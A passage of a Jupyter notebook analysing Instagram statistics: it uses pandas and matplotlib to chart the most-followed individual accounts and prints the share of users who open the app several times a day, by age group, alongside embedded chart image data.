9DNUl8F/JluBvcy4AfARsABdAkedDPZGwPzqur2dn/6um3fkcB+wN/RzawPua1nexndsQW4sKp2nqLDGG2Mz1fVWybQfj5wPvB+4JPA87jrwkavauUjfXHlHXSf09OAySTxI40zZPhxrTfCvqHjpaqOS3IW8CzgpCSvWoH+/6aqFgALwO+JlyRJkqSRrJLl9O3p758BPlGdvwK/AV4InEk3M39I+wndA/Cuagn8nsDmPd19g245+o7ASeMMfQmwcZKdWxxrJ9lmig5ryA+BfdrD+4bucd98tMpVdTvwduBxbSn+Qtry+yR7ANdU1V+Ak4HXD7VLcv+hLoB/ArZK8uZJxLkQ2DvJvdtqgOdy1+c9Ke2CzGVV9XG6mfbHTmX/kiRJkqSRrcyZ+PXasvahr5j7It3XuA05HXhSVd2c5HTgodyV9B0L/G+SQWAxcPFQo6r6a5IfA9dV1bKxAmh19wE+3paorwX8N3Dhih/e38b4eZK3Aye3+/RvB14H/GqMNrck+TDdhYs3AUcnWQLcTLvnH/gP4JNJLqCbvX4XbWl7VS1L8iK6z+gvVfWpMUJcC7itqs5Ncgxwdis/sqrOS/cVc5O1L/DSJLcDfwDeXVXXTmH/kiRJkqQRpKq/Vi23RPlc4AVVdel0xzOTtRUQi6vqIdMdy2S5nF6SJEkrW7/lQppdkiyqqoHh5avs6fRTIcnWwP8BPzSBH1uS59CtbJjIvfqSJEmSpD7QdzPxmh2ciZckSdLKZi6kmWy0mfhV/RVz0oTMmzePwcHB6Q5DkiRJkmaUvlpOL0mSJEnSbGYSL0mSJElSn3A5vWaoRUCmOwhJkiQJ8N55zRzOxEuSJEmS1CdM4iVJkiRJ6hMm8ZIkSZIk9QmT+JUsyXOTVJKtxql3xiqI5elJzk5ycZLFSb6SZLOVNNZhSQ5ZGX1LkiRJ0mxlEr/yvRj4CfCikXYmWROgqh6/MoNIsi1wOPCKqtqqquYCxwJzRqjrAw8lSZIkaQYyiV+JkqwP7ALsT08Sn2SPJD9OchywtJXdONQmyQ+TnJtkaZK9WvmcJBclOSLJhUlOTrJe23dAknOSnJ/k+CT3HiGcfwfeV1UXDRVU1YlVtbD1cWqS9yU5DXhjkn9MclaS85KckmSTVu+wJEe1+pclOajnuN6W5JIkpwCP6infIsn3kyxKcvp4qxIkSZIkSSMziV+59ga+X1W/AK5NskPPvp2At1XV1sPa3Ao8t6p2APYEPpxk6LvWtgQ+WVXbANcBz2/lJ1TVjlW1HXAR3UWD4bYBzh0n3vtV1ROq6sN0qwceV1XbA18G/q2n3lbA09oxHJpk7STz6C5UbA88D9ixp/4C4A1VNQ84BPjUSIMnOTDJYJLBq68eJ1JJkiRJmoVcNr1yvRj477b95fZ+KJE+u6ouH6FNgPcl2R24E3gIsEnbd3lVLW7bi7hrKfy2Sf4DuB+wPnDSWEEleSDwQ+DewIKq+lDb9ZWeag8FvpLkwcC9gN5Yv1NVtwG3Jbmqxbcb8I2qurmNcWL7uT7weOBrd12LYJ2R4qqqBXQJPwMD8cs4JUmSJGkYk/iVpCXKT6RLsAtYE6gkQzPaN43SdD6wMTCvqm5PcgWwbtt3W0+9ZcB6bfsYYO+qOj/JfsAeI/R7IbADcH5V/QmY2x48t35Pnd6YDgc+UlUnJtkDOKxn3/A4hs6jkRLvNYDr2j34kiRJkqQV4HL6lWcf4AtVtXlVzamqh9HNZu86TrsNgataAr8nsPkExtoAuDLJ2nQXAUbyX8Dbkjy6p2yke+d74/hd237FBGJYCDw3yXpJNgD+EaCq/gJcnuQFAOlsN4H+JEmSJEnDmMSvPC8GvjGs7HjgJeO0OxYYSDJIl5BfPIGx3gGcBfxgtPpVtRR4I/CF9hVzPwUeDRw3Sp+H0S2BPx24ZrwAqupcuuX4i+mO8/Se3fOB/ZOcT7ciYK/xD0mSJEmSNFyqvPVYM8/AQGpwcLqjkCRJkmDku0allSvJoqoaGF7uTLwkSZIkSX3CB9tphpoHOBUvSZIkSb2ciZckSZIkqU+YxEuSJEmS1CdM4iVJkiRJ6hPeE6+ZadEiSKY7CkmSJEmrqz79pjZn4iVJkiRJ6hMm8ZIkSZIk9QmT+HEk+bskX07yyyQ/T/LdJI8cpe4Z4/T11snUX1FJDkvyuySLW+wvXgljHJNknxHK90jy7akeT5IkSZJmM5P4MSQJ8A3g1Kraoqq2Bt4KbDKs3poAVfX4cbq8WxI/gfpT4aNVNRfYC/hskrVXwZiSJEmSpJXAJH5sewK3V9VnhgqqanFVnd5mmn+c5DhgKUCSG9vPBydZ2GbAL0iyW5L3A+u1smOH1V8/yQ+TnJtkaZK9WvmcJBclOSLJhUlOTrJe2zc3yZlJliT5RpL7j3UgVXUpcDNw/3Q+2GJbmmTf1uceSU5N8vUkFyc5tl3IIMk7k5zT2iwYKu+V5Omt3U+A5/WUPyDJN1usZyZ57PL+QiRJkiRpNjOJH9u2wKIx9u8EvK3N0Pd6CXBSmwHfDlhcVW8GbqmquVU1f1j9W4HnVtUOdBcOPtyTJG8JfLKqtgGuA57fyr8A/HtVPZbuIsKhYx1Ikh2AS6vqKroEeyi2JwMfTPLgVnV74GBga+ARwC6t/BNVtWNVbQusBzx7WP/rAkcA/wjsBvxdz+53Aee1WN/aYpckSZIkTZJJ/Io5u6ouH6H8HOCVSQ4DHlNVN4zTT4D3JVkCnAI8hLuW7F9eVYvb9iJgTpINgftV1Wmt/PPA7qP0/c9JLgHOAg5rZbsCX6qqZVX1R+A0YMeeY/ptVd0JLAbmtPI9k5yVZCnwRGCbYeNs1WK9tKoK+J+efbsCXwSoqh8BD2zHcPcPITkwyWCSwatHORhJkiRJms1M4sd2ITBvjP03jVRYVQvpkurfAV9M8vJxxpkPbAzMa7P3fwTWbftu66m3DFhr/LDv5qNV9ShgX+ALbcZ8rC9gv8d4rc2ngH2q6jF0M+7rjtB2tC9aHGm8e9StqgVVNVBVAxuPEaAkSZIkzVYm8WP7EbBOkgOGCpLsmOQJYzVKsjlwVVUdAXwO2KHtun2UB8tt2OrfnmRPYPOx+q+q64E/J9mtFb2MbjZ9rDYnAIPAK4CFwL5J1kyyMd0Fh7PHaD6UsF+TZH3gHk+jBy4GHp5ki/a+90n4C+kuVJBkD+CaqvrLWPFKkiRJku5psrO6s0pVVZLnAv+d5M10965fQXfP+EPGaLoH8KYktwM3AkMz8QuAJUnOHXZf/LHA/yYZpFvCfvEEwnsF8Jkk9wYuA145gTbvBo6ju999Z+B8uhnxf6uqPyTZaqRGVXVdkiPo7r2/gu52geF1bk1yIPCdJNcAP6F7pgB0y/iPbrcL3NxilyRJkiRNUrrbl6WZZSCpwekOQpIkSdLqa4bnwkkWVdXA8HKX00uSJEmS1CdM4iVJkiRJ6hPeE6+Zad48GHRBvSRJkiT1ciZekiRJkqQ+YRIvSZIkSVKfMImXJEmSJKlPmMRLkiRJktQnTOIlSZIkSeoTJvGSJEmSJPUJk3hJkiRJkvqESbwkSZIkSX3CJF6SJEmSpD5hEi9JkiRJUp8wiZckSZIkqU+YxEuSJEmS1CdM4iVJkiRJ6hMm8ZIkSZIk9QmTeEmSJEmS+oRJvCRJkiRJfSJVNd0xSPeQ5AbgkumOQwI2Aq6Z7iAkPBc1s3g+aqbwXNRMsTLOxc2rauPhhWtN8SDSVLmkqgamOwgpyaDnomYCz0XNJJ6Pmik8FzVTrMpz0eX0kiRJkiT1CZN4SZIkSZL6hEm8ZqoF0x2A1HguaqbwXNRM4vmomcJzUTPFKjsXfbCdJEmSJEl9wpl4SZIkSZL6hEm8JEmSJEl9wiReM0qSpye5JMn/JXnzdMej2SXJFUmWJlmcZLCVPSDJD5Jc2n7ef7rj1OopyVFJrkpyQU/ZqOdfkre0v5WXJHna9ESt1dEo5+JhSX7X/j4uTvLMnn2ei1opkjwsyY+TXJTkwiRvbOX+bdQqN8b5uMr/PnpPvGaMJGsCvwCeAvwWOAd4cVX9fFoD06yR5ApgoKqu6Sn7L+Daqnp/u7B0/6r69+mKUauvJLsDNwJfqKptW9mI51+SrYEvATsBmwKnAI+sqmXTFL5WI6Oci4cBN1bVh4bV9VzUSpPkwcCDq+rcJBsAi4C9gf3wb6NWsTHOxxeyiv8+OhOvmWQn4P+q6rKq+ivwZWCvaY5J2gv4fNv+PN0fa2nKVdVC4NphxaOdf3sBX66q26rqcuD/6P6GSitslHNxNJ6LWmmq6sqqOrdt3wBcBDwE/zZqGoxxPo5mpZ2PJvGaSR4C/Kbn/W8Z+z8MaaoVcHKSRUkObGWbVNWV0P3xBh40bdFpNhrt/PPvpabD65Msacvth5Yvey5qlUgyB9geOAv/NmqaDTsfYRX/fTSJ10ySEcq830Or0i5VtQPwDOB1bUmpNBP591Kr2qeBLYC5wJXAh1u556JWuiTrA8cDB1fVX8aqOkKZ56Om1Ajn4yr/+2gSr5nkt8DDet4/FPj9NMWiWaiqft9+XgV8g27J0x/bPVBD90JdNX0RahYa7fzz76VWqar6Y1Utq6o7gSO4a0mo56JWqiRr0yVMx1bVCa3Yv42aFiOdj9Px99EkXjPJOcCWSR6e5F7Ai4ATpzkmzRJJ7tMeUkKS+wBPBS6gOwdf0aq9AvjW9ESoWWq08+9E4EVJ1knycGBL4OxpiE+zxFDC1DyX7u8jeC5qJUoS4HPARVX1kZ5d/m3UKjfa+Tgdfx/XmopOpKlQVXckeT1wErAmcFRVXTjNYWn22AT4Rvf3mbWA46rq+0nOAb6aZH/g18ALpjFGrcaSfAnYA9goyW+BQ4H3M8L5V1UXJvkq8HPgDuB1Pn1ZU2WUc3GPJHPploJeAbwaPBe10u0CvAxYmmRxK3sr/m3U9BjtfHzxqv776FfMSZIkSZLUJ1xOL0mSJElSnzCJlyRJkiSpT5jES5IkSZLUJ0ziJUmSJEnqEybxkiRJkiT1CZN4SZLUt5IsS7K45zVnjLrHJNmnbZ+aZGCVBSpJ0hTxe+IlSVI/u6Wq5k53EKNJslZV3THdcUiSVh/OxEuSpNVKkrlJzkyyJMk3ktx/nPovTrI0yQVJPtDKXpjkI237jUkua9tbJPlJ256X5LQki5KclOTBrfzUJO9LchrwxiQvaH2fn2ThSj14SdJqz5l4SZLUz9ZLsrhtX15VzwW+ALyhqk5L8m7gUODgkRon2RT4ADAP+DNwcpK9gYXAm1q13YA/JXkIsCtwepK1gcOBvarq6iT7Au8F/qm1uV9VPaGNsRR4WlX9Lsn9puzIJUmzkkm8JEnqZ3dbTp9kQ7oE+rRW9Hnga2O03xE4taqubu2PBXavqm8mWT/JBsDDgOOA3ekS+hOARwHbAj9IArAmcGVPv1/p2f4pcEySr7a2kiQtN5N4SZI0m2WMfT8DXglcApxON8u+M/CvwGbAhVW18yhtbxraqKrXJPkH4FnA4iRzq+pPUxG8JGn28Z54SZK02qiq64E/J9mtFb0MOG2MJmcBT0iyUZI1gRf31F8IHNJ+ngfsCdzWxrgE2DjJzgBJ1k6yzUgDJNmiqs6qqncC19DN7EuStFyciZckSaubVwCfSXJv4DK62fQRVdWVSd4C/JhuVv67VfWttvt0uoR7YVUtS/Ib4OLW7q/t6+o+3pbwrwX8N3DhCMN8MMmWrf8fAudPwTFKkmapVNV0xyBJkiRJkibA5fSSJEmSJPUJk3hJkiRJkvqESbwkSZIkSX3CJF6SJEmSpD5hEi9JkiRJUp8wiZckSZIkqU+YxEuSJEmS1Cf+P6rF9k3X+o9YAAAAAElFTkSuQmCC\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd\n", + "import matplotlib.pyplot as plt\n", + "\n", + "stats = pd.read_csv(\"D:\\\\DataScience\\\\Instagram DataAnalysis\\\\Usage Statistics\\\\IG5.csv\", header=0, sep=\",\")\n", + "print(\"Most-followed Instagram accounts (individuals) :\")\n", + "print(\"_________________________________________________________________________________________________________________________\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "c = ['red', 'yellow', 'black', 'blue', 'orange', 'green']\n", + "\n", + "plt.figure(figsize=(15,7))\n", + "plt.title(\"Most-followed Instagram accounts (individuals):\")\n", + "plt.barh(x, y, color=c)\n", + "plt.xlabel(\"Followers\") #x- axis\n", + "plt.ylabel(\"User\") #y- axis\n", + "plt.show() #show the plotting\n" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Instagram users who use app multiple times per day, by age :" + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Instagram users who use app multiple times per day, by age\n", + " Age Percentage_using_app_multiple_times_daily(%)\n", + "0 18-24 67\n", + "1 25-34 60\n", + "2 35-44 49\n", + "3 45-54 43\n", + "4 55+ 31\n" + ] + }, + { + "data": { + "image/png": "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